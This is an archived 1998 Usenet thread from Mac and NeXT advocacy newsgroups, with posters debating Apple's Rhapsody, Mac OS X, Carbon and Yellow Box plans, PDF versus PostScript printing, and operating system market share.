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Cc: eviltofu@rocketmail.com
In <eviltofu-1605981028480001@viking202-49.dhcp.csuohio.edu> it seemed Jerome
Chan wrote:
> So Carbon runs on TOP of the MACH kernal? What's to stop it from being
> ported to Intel?
a whole cadre of mac-buying sluts who would then rush out and buy pcs instead
of macs.
/gary
--
Gary W. Longsine | ____/| OpenStep MachOS
| \ o.O| Objective-C
l_o_n_gsine@platinum.com | =(_)= the Dock
NeXTmail & MIME | U Elegance is Relevant.
From: jdoherty@ix.netcom.com (John Doherty)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: Sun, 17 May 1998 22:44:57 -0500
Organization: (none)
Message-ID: <jdoherty-1705982244570001@aus-tx19-25.ix.netcom.com>
References: <nagleEt2BBL.Irx@netcom.com> <B1833813-6DD19@206.165.43.27>
In article <B1833813-6DD19@206.165.43.27>, "Lawson English"
<english@primenet.com> wrote:
| if you use a single chinese font character in an Acrobat file, the
| entire 6 MB font is going to be included in the Acrobat file
There's no reason the PDF couldn't include a subsetted font with the
single required character.
It's up to the PDF producer to create and embed the subsetted font,
that's all. Distiller can, and I think ghostscript can, too.
The subsetted font has had at least one character stripped out, its
name mangled, and its encoding table rewritten, but is otherwise a
perfectly normal font.
From: macghod@concentric.net
Newsgroups: comp.sys.mac.portables,comp.sys.mac.hardware,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple Should GET A GOOD LOW END POWERBOOK!!
Date: 18 May 1998 05:33:02 GMT
Message-ID: <6joh6e$54j$1@newsfep4.sprintmail.com>
References: <6it738$ceg$1@newsfep4.sprintmail.com> <joe.ragosta-0905981301430001@elk37.dol.net>
<SnowSim-1105980159280001@blv-ux100-ip3.nwnexus.net> <6j9488$e9u$1@reader1.reader.news.ozemail.net>
<3558CA19.693D@sympatico.ca> <3559e232.11448506@100.100.100.1>
<rmcassid-1305981222130001@dante.eng.uci.edu> <355b1e83.0@206.25.228.5>
<6jg12k$o12$1@winter.news.erols.com> <rmcassid-1405982346120001@dialin9022.slip.uci.edu>
<johntl-ya02408000R1605981703160001@news.means.net> <6jo41u$qs9$1@nntp2.ba.best.com>
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Cc: edel@best.com
In <6jo41u$qs9$1@nntp2.ba.best.com> Nathan Keir Edel wrote:
> In comp.sys.mac.portables John Linnemann <johntl@means.net> wrote:
> > Apple now has a G3 notebook for $2300 and it is coming out with a
consumer
> > notebook in early 1999.
>
> $2300 for a passive matrix (FRSTN, no?) system is not inexpensive, although
> given the speed of the system, it's a very good value...
Actually, its not that good of a deal. I saw the benchmarks for the 230 mhz
chip and was astounded to see it is about as fast (slow) as a 3400. FOr a
couple hundred less you can get a 3400 with a active matrix. Apple must of
put alot of work into crippling the 230 mhz version to make it as slow as a
3400
--
Running on Openstep 4.2, the best os in the world, and about to get better!
Mac/openstep qa work desired, email me for resume
NeXTMail and MIME OK!
From: macghod@concentric.net
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: microsoft OS's with %90 of market??
Date: 18 May 1998 05:39:00 GMT
Message-ID: <6johhk$54j$2@newsfep4.sprintmail.com>
References: <Pine.SUN.3.96.980517182354.13131E-100000@viking.cris.com> <6jnuj5$5pa$1@jetsam.uits.indiana.edu>
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Cc: glhansen@copper.ucs.indiana.edu
In <6jnuj5$5pa$1@jetsam.uits.indiana.edu> Gregory Loren Hansen wrote:
> In article <Pine.SUN.3.96.980517182354.13131E-100000@viking.cris.com>,
> MACGHOD <Macghod@concentric.net> wrote:
> >All the news on microsoft says its os's have about %90 of the pc market.
> >Now if macs are %20 of the market like Apple claims, this cant be true.
> >And then when you add PC's where the users dont have a microsoft os (such
> >as OPENSTEP, linux, etc), one may think that brings the non ms os's up to
> >%25 percent. This %90 number must be off, no?
>
> Some numbers are units sold recently within some time span, some numbers
> are total number of machines in use. Microsoft didn't always have 90%
> market share, MacOS used to have considerably more than 5%, and Macs
> reputedly have a longer life-span than Wintel machines.
>
> When you see a percentage, try to find out what that percentage is
> measuring and you'll do all right.
The %90 figure is clearly stated as total in use, not a given quarters
marketshare. Apple has a worldwide marketshare of approximately %3.1. Its
TOTAL INSTALLED BASE (what the %90 figure refers to) is higher, someplace
between %15 and %25.
When the news says ms has %90, if you read the fine print you see it clearly
is talking about total installed base. MS clearly doesnot have a TOTAL
INSTALLED base of %90.
--
Running on Openstep 4.2, the best os in the world, and about to get better!
Mac/openstep qa work desired, email me for resume
NeXTMail and MIME OK!
From: Henry McGilton <henry@trilithon.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: NXHosting is dead ?
Date: Sun, 17 May 1998 22:30:56 -0700
Organization: Trilithon Research and Trading
Message-ID: <355FC790.47AFED2F@trilithon.com>
References: <6jhivm$22a$1@nnrp1.dejanews.com> <6jhnld$a3v$1@crib.bevc.blacksburg.va.us>
<355C6969.6907242B@trilithon.com> <od871.624$Fi2.704485@news.rdc1.sdca.home.com>
<1d96usd.idlupin1ddc8N@sextans133.wco.com> <t6P71.4084$Fi2.1738179@news.rdc1.sdca.home.com>
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Rex Riley wrote:
* Did I miss a friendly bet... ? I'm stating my assertions
* with target numbers.
Where did you get your target numbers, Rex?
* You're a *numbers* kinda guy, where are your targets?
* Is Apple going up or going down?
Up. Two-year target --- $60.
I'm probably safe in this prediction (mostly) because most of the
posters (I hesitate to call them contributors) to this newsgroup
appear to have an attention-span of around ten seconds. So Rex,
let's have a friendly bet --- some time between now and May 2000,
Apple stock will be over $60 (anybody in this bunch of frothing
"advocates" remember the last three times it was over $60?).
If I'm wrong, Rex, I'll share with you a bottle of Dom Perignon (and
if I have any money left over, an ounce of caviar to go with it).
Course, this is a win-win bet, right?
........ Henry
=============================================================
Henry McGilton | Trilithon Software, and,
Boulevardier, Java Composer | Pacific Research and Trading
-----------------------------+-------------------------------
mailto:henry@trilithon.com | http://www.trilithon.com
=============================================================
From: pulsar@springnet1.com (Pulsar)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Sun, 17 May 1998 22:59:59 -0600
Organization: University of Illinois at Urbana-Champaign
Message-ID: <pulsar-ya02408000R1705982259590001@news-proxy.cso.uiuc.edu>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <35586F01.243A7BE3@spamtoNull.com> <pulsar-ya02408000R1205981246010001@news-proxy.cso.uiuc.edu> <3559E64B.A3A9AF2@spamtoNull.com> <pulsar-ya02408000R1305981504530001@news-proxy.cso.uiuc.edu> <355B2F43.D365D2F1@spamtoNull.com> <see-below-1405982129470001@209.24.240.162> <355F7BBE.F340EBBA@spamtoNull.com>
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In article <355F7BBE.F340EBBA@spamtoNull.com>, Jonathan Harker
<Limeyville@spamtoNull.com> wrote:
> Matthew Vaughan wrote:
>
> Yet another misstatement. With Rhapsody supporting legacy apps under
> blue box, Rhapsody would have been shipped out on all new Macs as the
> future OS. Developers would have gotten onboard had Apple supplied the
> tools they need to move easily to Rhapsody. Rhapsody 1.0 is shipping
> this year, supposedly.
You do not know this. Developers could just as easily drop the Mac platform
all together and go with Windows.
> Mac OS X is telling them: "What we are going to do is to drop 2000
> "function calls" (not to offend the particular by calling them APIs),
> and roll Rhapsody into MAC OS as Mac OS 10. Instead of a rewrite, you'll
> only have to do a 20%-30% code tweaking for applications to run with all
> privileges under Mac OS 10."
>
> That's quite a bit of difference.
Yes it is. Instead of having to rewrite everything and _still_ have
resources go into supporting current products, there is relatively minimal
modification that needs to be done. Time spent on the Yellow Box can be
spread over a longer time or can be postponed until it is more convenient
to do so.
> > But like running SoftWindows on your Mac, that's only a solution for
> > occasional use (though unlike SoftWindows, speed isn't appearantly a
> > problem).
>
> Bluebox was not supposed to have run like "SoftWindows". It was supposed
> to have been far more transparent than that, according to Apple. If it
> isn't, it isn't *anything* like it was billed in the beginning, which
> explains everything.
The Blue Box wasn't even supposed to be available until late summer, and it
was _never_ shown as being completely transparent. It was never promised.
People may have hoped that it would be transparent, but that is different.
> > In addition, what you're missing is that Apple had only positioned
> > Rhapsody as a server/workstation/developer OS. OS X is more of a consumer
> > OS, which requires much more backward compatibility of thousands of apps,
> > more transparent user interface, less complexity etc.
>
> Apple under Jobs "positioned" Rhapsody as you describe. That was *not*
> the original plan.
You are misremembering the original plan. The only significant difference
from teh original plan so far is that there was supposed to be a Rhapsody
Premier. Apple decided to forego that release and go with the equivalent to
Rhapsody Unified which was later refered to Rhapsody CR1 and now Rhapsody
1.0.
> > I don't understand what you're saying. Can you create brand new software
> > for Windows without writing any code? New apps by definition can't be
> > rewritten, since they haven't been written yet. You make less sense every
> > time you write something...
>
> *YOU* don't understand what *I* am saying?....:) Now, that's a
> switch....:)
>
> The whole claim for "MAC OS 10" is that with a *minimum* of "rewrite"
> they can be made to perform as though they had been completely rewritten
> for native Rhapsody.
More or less. There will still be some issues, but they will be far less
siginificant than with getting PMT/PM with the regular Mac OS (as Copland
was to be a step towards).
The future of Mac OS programming still lies with the Yellow Box. All the
same advantages as far as ease of programming and cross-platform capability
still remain. Carbon is simply there for those who don't want to spend the
resources rewriting everything for Yellow Box.
> Who on earth would you care about legacy Mac apps in a year? That's the
> way they run *now* under the Mac OS, isn't it? The whole point of
> Rhapsody is the *future* of Mac application development. Rhapsody alone
> would have been enough. So why bring up "Mac OS 10" in the first place
> at this stage? Why not release Rhapsody first and *then* talk about the
> future beyond that?
Because Rhapsody won't have all that much application support as it starts
out. Most users would use Rhapsody (if forced to) mostly to run the Blue
Box. They have no reason to use Rhapsody since they have all the same
increased hardware requirements of Rhaspody, and they're running basically
the same environment as the Mac OS except not quite as compatible. A Mac
user running Rhapsody without Rhapsody native applications is basically
running a hugely bloated Mac OS that isn't quite as compatible as the real
thing. Whoopee.
Ryan Tokarek
<pulsar@springnet1.com>
<http://www.ews.uiuc.edu/~tokarek>
From: zegelin@actonline.com.au (Peter)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: The New Rhapsody (aka Mac OS X)
Date: 18 May 1998 04:00:00 GMT
Organization: Totally Disorganized
Message-ID: <zegelin-1805981401230001@dialup19.canb.ispsys.net>
References: <1d8xs8m.mqho5znnswjkN@amtmtc.demon.co.uk> <EsvxtF.7G0@micmac.com> <see-below-1305982328510001@209.24.241.190> <355B1D3F.27453C81@nospam.com> <6jfanm$73n$1@crib.bevc.blacksburg.va.us> <rex-1405981430100001@192.168.0.3> <355CC191.DC8B09BA@nospam.com> <6jnaav$1cc$72@ironhorse.plsys.co.uk>
Cache-Post-Path: genie.cyberone.com.au!unknown@dialup19.canb.ispsys.net
> In <355CC191.DC8B09BA@nospam.com> Tim Triemstra wrote:
>
> > And if Apples doesn't start to state that Yellow Box is the *primary*
> > API for the future of Apple, then noone will ever write for Yellow,
> >
I think Apple should set an example by stating that they will use YB for
future versions of their own cross platform Apps. AppleWorks, FileMakerPro
etc.
regards
Peter
From: jcr.remove@this.phrase.idiom.com (John C. Randolph)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: End of WYSIWYG w/out DPS?
Date: 18 May 1998 06:51:02 GMT
Organization: Idiom Communications
Message-ID: <6jolom$dv$1@news.idiom.com>
References: <6jng30$fg7$1@supernews.com> <6jnjvs$q5v$1@crib.bevc.blacksburg.va.us>
<6jo85b$ik23@odie.mcleod.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Cc: buck.erik@mcleod.net
"Michelle L. Buck" may or may not have said:
->
-> Nathan Urban wrote in message <6jnjvs$q5v$1@crib.bevc.blacksburg.va.us>...
-> >
-> >No, Apple was very clear on this point -- a unified imaging/printing
-> >model is being retained (based on PDF, not PostScript).
->
-> As was stated several times at WWDC by myself and others, PDF is NOT
-> Postscript. The world is full of Postscript printers. There are no PDF
-> printers. I can send Postscript to a 5000DPI image setter. I can not
send
-> PDF with any good result.
Sure you can. You just have to send the PDF interpreter first. Remember:
PostScript is a Programming Language. Examples of simple emulators exist,
right in the Green Book. The postscript code to deal with PDF is just a more
elaborate emulator program.
-> Apple probably did the right thing. If Adobe would not play along, Apple
-> had to change strategies. The unfortunate reality is that WYSIWYG is gone
-> as of OS-X. PDF will be pretty good. It just will not be as good.
No, you're mistaken. All it takes for a Postscript printer to print a PDF
document, is a PDF parser which is itself written in postscript. Same fonts,
same metrics, same imaging model, and so on. PDF doesn't loose any imaging
ability w/r/t postscript, but PDF isn't a programming language, it's a
command language.
-> By the way, there are lots of perfectly good Postscript files that no
-> "distiller" made to date can correctly translate to PDF. That does not
mean
-> it is impossible, but it must be hard. WYSIWYG is gone, gone, gone ... Oh
-> how I hall miss it.
You're jumping to a mistaken conclusion.
-jcr
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: End of WYSIWYG w/out DPS?
Date: 18 May 1998 00:06:55 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6joc4v$qhu$1@crib.bevc.blacksburg.va.us>
References: <6jng30$fg7$1@supernews.com> <6jnjvs$q5v$1@crib.bevc.blacksburg.va.us> <6jo85b$ik23@odie.mcleod.net>
In article <6jo85b$ik23@odie.mcleod.net>, "Michelle L. Buck" <buck.erik@mcleod.net> wrote:
> Nathan Urban wrote in message <6jnjvs$q5v$1@crib.bevc.blacksburg.va.us>...
> >No, Apple was very clear on this point -- a unified imaging/printing
> >model is being retained (based on PDF, not PostScript).
> As was stated several times at WWDC by myself and others, PDF is NOT
> Postscript.
We know.
> The world is full of Postscript printers. There are no PDF
> printers.
I think there are "PostScript Extreme" printers that will print PDF
directly. But most PostScript printers are regular PostScript.
> I can send Postscript to a 5000DPI image setter. I can not send
> PDF with any good result.
Why can't the PDF be converted to PostScript? I thought this was
supposed to be easy to do?
> By the way, there are lots of perfectly good Postscript files that no
> "distiller" made to date can correctly translate to PDF. That does not mean
> it is impossible, but it must be hard. WYSIWYG is gone, gone, gone ... Oh
> how I hall miss it.
Nor do I understand how "Display PDF" is not WYSIWYG, regardless of
whether the printer is PostScript or not.
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: The New Rhapsody (aka Mac OS X)
Date: 18 May 1998 00:10:53 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6joccd$qiv$1@crib.bevc.blacksburg.va.us>
References: <1d8xs8m.mqho5znnswjkN@amtmtc.demon.co.uk> <355CC191.DC8B09BA@nospam.com> <6jnaav$1cc$72@ironhorse.plsys.co.uk> <zegelin-1805981401230001@dialup19.canb.ispsys.net>
In article <zegelin-1805981401230001@dialup19.canb.ispsys.net>, zegelin@actonline.com.au (Peter) wrote:
> I think Apple should set an example by stating that they will use YB for
> future versions of their own cross platform Apps. AppleWorks, FileMakerPro
> etc.
Porting Mac apps to Yellow isn't really very practical -- that was the
whole reason for Carbon. I'd rather see Apple spend their time making
Yellow better than by porting existing apps to it. They can set their
example by releasing any _new_ apps as Yellow. (Though it doesn't look
like Apple is in the business of producing any apps other than their
existing Mac productivity apps and development tools.)
From: stone@stoneentertainment.com (Kevin Stone)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: microsoft OS's with %90 of market??
Date: Mon, 18 May 1998 01:05:51 -0600
Organization: Stone Entertainment
Message-ID: <stone-ya02408000R1805980105510001@news.enetis.net>
References: <Pine.SUN.3.96.980517182354.13131E-100000@viking.cris.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
In article <Pine.SUN.3.96.980517182354.13131E-100000@viking.cris.com>,
MACGHOD <Macghod@concentric.net> wrote:
> All the news on microsoft says its os's have about %90 of the pc market.
> Now if macs are %20 of the market like Apple claims, this cant be true.
> And then when you add PC's where the users dont have a microsoft os (such
> as OPENSTEP, linux, etc), one may think that brings the non ms os's up to
> %25 percent. This %90 number must be off, no?
I partialy agree. That number never seemed quite right. Assuming a world
installed base of 250 million, Apple sells to 10% of that with 27 million
installed Macs. Now there is no doubt that the MacOS is the second most
popular OS in the world. But even if all other OS's combined totaled 27
million, then Windows installed base would be less than 80%. But Mac's
don't run Windows OS's natively. Once the MacOS is dicluded the "90%"
number does make sence.
-Kevin Stone
Stone Entertainment
www.StoneEntertainment.com
(no email please)
From: jcr.remove@this.phrase.idiom.com (John C. Randolph)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Sorry That Apple Purchased NeXT?
Date: 18 May 1998 07:10:06 GMT
Organization: Idiom Communications
Message-ID: <6jomse$dv$3@news.idiom.com>
References: <199805161935341708619@sdn-ts-002txhousp06.dialsprint.net> <Zvv71.2305$Fi2.1265079@news.rdc1.sdca.home.com>
<355EFC75.4652@erols.com> <199805172329232380717@sdn-ts-001txhousp01.dialsprint.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Cc: drifterusa@sprintmail.com
John Bauer may or may not have said:
-> I know it's a fantasy to think Microsoft will be mortally wounded by the
-> transition to Merced, but this new architecture may at least briefly and
-> ever so slightly open the door for Windows alternatives.
Microsoft won't be hurt by it, but they will not be the first company to ship
an OS that's optimized for it.
Remember, Intel paid NeXT to develop NeXTSTEP/Intel, in part because Windoze
didn't take advantage of the '486 instruction set, and they didn't seem to be
in any hurry to do so. Grove was rather exasperated with MicroSquish over
this, so he arranged for Slowlaris/x86 and NeXTSTEP.
-jcr
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
From: phenix@interpath.com (John Moreno)
Message-ID: <1d97796.15pqdprv4silzN@roxboro0-027.dyn.interpath.net>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <35586F01.243A7BE3@spamtoNull.com> <pulsar-ya02408000R1205981246010001@news-proxy.cso.uiuc.edu> <3559E64B.A3A9AF2@spamtoNull.com> <pulsar-ya02408000R1305981504530001@news-proxy.cso.uiuc.edu> <355B2F43.D365D2F1@spamtoNull.com> <pulsar-ya02408000R1405981632050001@news-proxy.cso.uiuc.edu> <355F6C41.F47A4916@spamtoNull.com> <pulsar-ya02408000R1705982132390001@news-proxy.cso.uiuc.edu>
Organization: phenix@interpath.com
?'D1cB]L9V=\OS(\8S,5
Mail-Copies-To: never
Date: Mon, 18 May 1998 04:26:22 GMT
NNTP-Posting-Date: Sun, 17 May 1998 21:26:22 PDT
In comp.sys.next.advocacy Pulsar <pulsar@springnet1.com> wrote:
> Why would a user install Rhapsody just to be forced to run a slightly less
> compatible Mac OS inside the Blue Box with all the increased hardware
> requirements that come with Rhapsody? Why would a user not simply have
> stuck with Mac OS? If they had no significant applications to run in the
> Yellow Box, then all they'd have is a bloated Mac OS that wasn't as
> compatible as the real Mac OS. This is why Rhapsody could not have served
> as an immediate replacement.
Given how often my system crashes, I'd have considered it worthwhile if
it'd "reboot" faster.
--
John Moreno
From: drifterusa@sprintmail.com (John Bauer)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Sun, 17 May 1998 23:29:13 -0500
Organization: KAOS
Message-ID: <199805172329132380140@sdn-ts-001txhousp01.dialsprint.net>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <ericb-1105981832070001@132.236.171.104> <pulsar-ya02408000R1105981844070001@news-proxy.cso.uiuc.edu> <3557C5B4.81BDA525@loa.com> <3558718B.69675B8F@spamtoNull.com> <6jbs69$1cc$15@ironhorse.plsys.co.uk> <3559F5A0.E8E7FB3D@spamtoNull.com> <pulsar-ya02408000R1305981524440001@news-proxy.cso.uiuc.edu> <B1800144-FB3B5@204.31.112.110> <355AD786.FD81A010@milestonerdl.com> <see-below-1405982138030001@209.24.240.162> <6jh0fi$1cc$38@ironhorse.plsys.co.uk> <see-below-1505980333080001@209.24.240.3> <1d9380v.p9wcmxbu7ozeN@pc4.holmlia.online.no> <6jn8sn$8j0$1@nnrp1.dejanews.com>
<anders@common.se> wrote re Rhapsody continuing as a server OS:
> If you have a URL that doesn't require a T1 and a free weekend, post it.
>
> I'm under the impression that Jobs said Apple won't have a dual-OS strategy.
> For no good reason save conditioned pessimism, many people interpreted this to
> mean they won't have a *dual-API* strategy (i.e. no YB). As it was directed to
> the MacOS community, I'd expect it to mean there won't be a separate server OS
> that won't run their apps.
>
> Mainstream OS unification was scheduled for after Y2K, now it's before Y2K. I
> can't remember the last time Apple moved a release date in that direction. I
> hope it's not too optimistic.
I'm sure I read somewhere that Rhapsody would continue as a server OS
after OS X was released but that *eventually* the two would be one.
However, like you, I do not have the resources to download every WWDC
tidbit -- even the slides at developer.com are taxing! It could be that
OS X will be available in consumer and server versions, with the latter
including all the Unix and developer tools, sort of like NT Workstation
and Server -- not a dual-OS per se (same core), just variations on a
theme.
--
John Bauer
<remove NOT from email address above, just like the spammers do>
From: drifterusa@sprintmail.com (John Bauer)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Sun, 17 May 1998 23:29:15 -0500
Organization: KAOS
Message-ID: <199805172329152380286@sdn-ts-001txhousp01.dialsprint.net>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <ericb-1105981832070001@132.236.171.104> <andyba-ya02408000R1205981008330001@news> <ericb-1405981159190001@132.236.171.104> <andyba-ya02408000R1505981738020001@news> <joe.ragosta-1605980714480001@elk81.dol.net> <nagleEt2nD0.5xF@netcom.com> <199805161935411709091@sdn-ts-002txhousp06.dialsprint.net> <355EDFB5.BDCB690B@milestonerdl.com>
M Rassbach wrote:
> I wrote:
>
> > Isn't it rather petty to hold on to Copland's broken promise? This
> > isn't the Alamo!
>
> If your believe is that past actions are a way to determine the future
> actions, then pettyness has nothing to do with it.
>
> You are bringing up the past incident to attempt to predict the future.
But incidents in and of themselves predict nothing. It's the
surrounding factors that point toward likely repetition or not
(something you implicitly acknowledge below).
> > Besides, the reliability of Apple's current schedule
> > has nothing to do with Copland. Move on.
>
> And I've heard that 'Apple has changed' with Scully, Spindler, Amelio and
> Jobs.
>
> And some things have changed. Others havn't.
I think Apple has undergone a more wholesale change this time. It's not
just Jobs, it's the board of directors (most notably the absence of
long-time guiding light Markkula) and a virtual takeover by NeXT
management. If you want to argue that NeXT was no paragon of great
management, I can accept that, though it was not the inability to
deliver modern OS technology that was NeXT's weakness.
I know that OS X *could* fail to be delivered (at all or on time) and
that it will take *years* for Apple to regain its credibility wrt
fulfilling promises. But I also think that to constantly shove Copland
in our faces is a glib and tiresome debating tactic used to avoid
acknowledging the larger picture.
--
John Bauer
<remove NOT from email address above, just like the spammers do>
From: drifterusa@sprintmail.com (John Bauer)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Sun, 17 May 1998 23:29:18 -0500
Organization: KAOS
Message-ID: <199805172329182380423@sdn-ts-001txhousp01.dialsprint.net>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <ericb-1105981832070001@132.236.171.104> <andyba-ya02408000R1205981008330001@news> <ericb-1405981159190001@132.236.171.104> <andyba-ya02408000R1505981738020001@news> <joe.ragosta-1605980714480001@elk81.dol.net> <nagleEt2nD0.5xF@netcom.com> <199805161935411709091@sdn-ts-002txhousp06.dialsprint.net> <1d96s89.1soa0dn1o3mx0mN@dialup102-4-13.swipnet.se>
Lars Farm wrote:
> Had they made the same compromises (drop 1/4 of Mac routines - PPC only)
> they announced for Carbon-Q399 directly when they gave up on Copland,
> then Apple would already have delivered MacOSX. It would be a Mac OS X
> using the NuKernel instead of Mach, no YB, but still pretty much Mac OS
> X. Users don't see the kernel. The list of bad routines was well known
> by then. In fact it was known long before the PPC transition. Nothing
> new there. They didn't and the problems in the Mac OS that users can use
> are still there. As bad as ever. Time is now the real problem.
Everything you say is true. However, the fact that Jobs and his NeXT
crew figured this out while Amelio and Spindler (and Sculley?) did not
is part of the reason why I think that the Apple of today is not the
same company that gave us the Copland fiasco and therefore no purpose is
served by pointing to Copland as a predictor of the future.
--
John Bauer
<remove NOT from email address above, just like the spammers do>
From: drifterusa@sprintmail.com (John Bauer)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: Sun, 17 May 1998 23:29:20 -0500
Organization: KAOS
Message-ID: <199805172329202380555@sdn-ts-001txhousp01.dialsprint.net>
References: <tbrown-1405982230070001@mv079.axom.com> <B1810BBB-15F43@206.165.43.99> <6ji1qc$1cc$47@ironhorse.plsys.co.uk> <1d93hzz.1i4zmy3bnrdb1N@carina47.wco.com> <B1832253-1C09B@206.165.43.27> <kwaltd-ya02408000R1605981229210001@enews.newsguy.com> <B1834FED-9CF5@206.165.43.149> <kwaltd-ya02408000R1705980537450001@enews.newsguy.com>
Kris Amico wrote:
> I know you are a super fan of GX, but I am of the opinion that we cannot
> really judge Apple's recent decisions until we see what we really have to
> work with. Until it is in front of me, I am not really going to say
> anything, as there certainly is not much we can do about what has happened.
> I have played with some GX things, and can respect the technology itself,
> but these decisions are not made just because "the people up there are
> idiots". I am sure there is more to it, and judging Apple's recent
> decisions with nothing real in front of us to look at is not prudent.
New to .advocacy? ;-)
--
John Bauer
<remove NOT from email address above, just like the spammers do>
From: drifterusa@sprintmail.com (John Bauer)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Sorry That Apple Purchased NeXT?
Date: Sun, 17 May 1998 23:29:23 -0500
Organization: KAOS
Message-ID: <199805172329232380717@sdn-ts-001txhousp01.dialsprint.net>
References: <199805161935341708619@sdn-ts-002txhousp06.dialsprint.net> <Zvv71.2305$Fi2.1265079@news.rdc1.sdca.home.com> <355EFC75.4652@erols.com>
David Dougherty wrote:
> 1. I think Jobs wanted to keep the PR focus on keeping the Mac
> developers at home. He seems very intent on not diluting the immediate
> overall message. "Focus is about . . ." And on promising too much too
> soon, "Set reasonable expectations and beat them." The immediate need
> to keep Mac developers from straying is much more important than
> something that's already settled.
Agreed.
> 2. From the begining of his tenure ten months ago when he settled out
> of court the Microsoft patent infringments, got Microsoft's commitment
> to continue Office on Mac, and the $120? $150? million investment in
> Apple, Apple has been very reticent to aggresively push Rhapsody's
> Windows cross-platform programming capabilities. After all, do you
> really want to purposely aggravate THAT leviathon? I don't know what
> it was, but it feels like some 'understanding' was reached. Maybe the
> dropping of development on Rhapsody for Intel had something to do with
> this? Of course, that might be just a matter of not having enough
> resources.
Perhaps we'll find out during an antitrust trial, though the lack of
resources makes sense, too (see below).
> 3. If there's to be any 'bait and switch', I think Steve wants to
> position Rhapsody as a harmless (to Microsoft) enterprise OS and,
> AT THE RIGHT MOMENT, to reveal it as the NT killer it is.
>
> Even Jobs at his most reckless knows that that time is not now.
I think Jobs may be waiting for Merced. Obviously Merced will be a big
deal when it ships. From what I've read, it will also wreak some havoc
with legacy code. Jobs might think the best allocation of resources is
to make Rhapsody Merced-ready the moment the machines ship. Hopefully
by that time (2 years?) there will be a decent (if not yet overwhelming)
selection of Yellow Box apps ready to take full advantage of Merced's
capabilities while the Windows equivalents are in catch-up mode. Since
Merced machines will also likely be rid of a lot of the x86 hardware
legacy, driver issues may be minimized as well.
I know it's a fantasy to think Microsoft will be mortally wounded by the
transition to Merced, but this new architecture may at least briefly and
ever so slightly open the door for Windows alternatives.
--
John Bauer
<remove NOT from email address above, just like the spammers do>
From: sanguish@digifix.com (Scott Anguish)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: 18 May 1998 07:01:59 GMT
Organization: Digital Fix Development
Message-ID: <6jomd7$oq2$1@news.digifix.com>
References: <6jj2lp$bpr$1@crib.bevc.blacksburg.va.us> <B1828B86-159FF2@207.217.155.190>
In-Reply-To: <B1828B86-159FF2@207.217.155.190>
On 05/15/98, "Brad Hutchings" wrote:
>You will not find a lot of
>people willing to do that anymore for an Apple technology that has
not
>shipped and still does not have all of the final details presented
(e.g.
>Yellow Box). That's just reality in May, 1998.
>
If you want to visit reality, then you should realize that
Yellow Box on Windows AKA OpenStep Enterprise has more than 10,000
seats in _ONE ORGANIZATION ALONE_.
It does exist. It is deployed, and it does work. Stop by any
AT&T Wireless or subsidiary dealer and sign up for cell services (say
at a Circuit City)..
--
Scott Anguish <sanguish@digifix.com>
NEXTSTEP/OpenStep Information <URL:http://www.stepwise.com>
From: drifterusa@sprintmail.com (John Bauer)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Winners and Losers
Date: Sun, 17 May 1998 23:34:38 -0500
Organization: KAOS
Message-ID: <199805172334382399693@sdn-ts-001txhousp01.dialsprint.net>
References: <01bd81b9$c8480d60$04387880@test1>
Todd Heberlein wrote:
> WINNERS:
> --------
> (1) Apple. ... Apple gets positive press coverage.
Unfortunately, Apple's press coverage was mixed ("Rhapsody is Dead!").
I don't think the damage will last, however.
> (2) Apple MacOS Developers....
> (3) OpenStep Developers of Innovative Apps....
> (4) Mac Users.
Make that "Mac Users Who Now Own Or Are Planning to Buy a G3."
> LOSERS:
> -------
> (1) Rhapsody/Intel Users....
Or perhaps just "Intel Users." Anyone wanting an alternative to Windows
(or OS/2, Be, Linux...) on the same hardware is SOL.
> (2) OpenStep Developers of Common Apps....
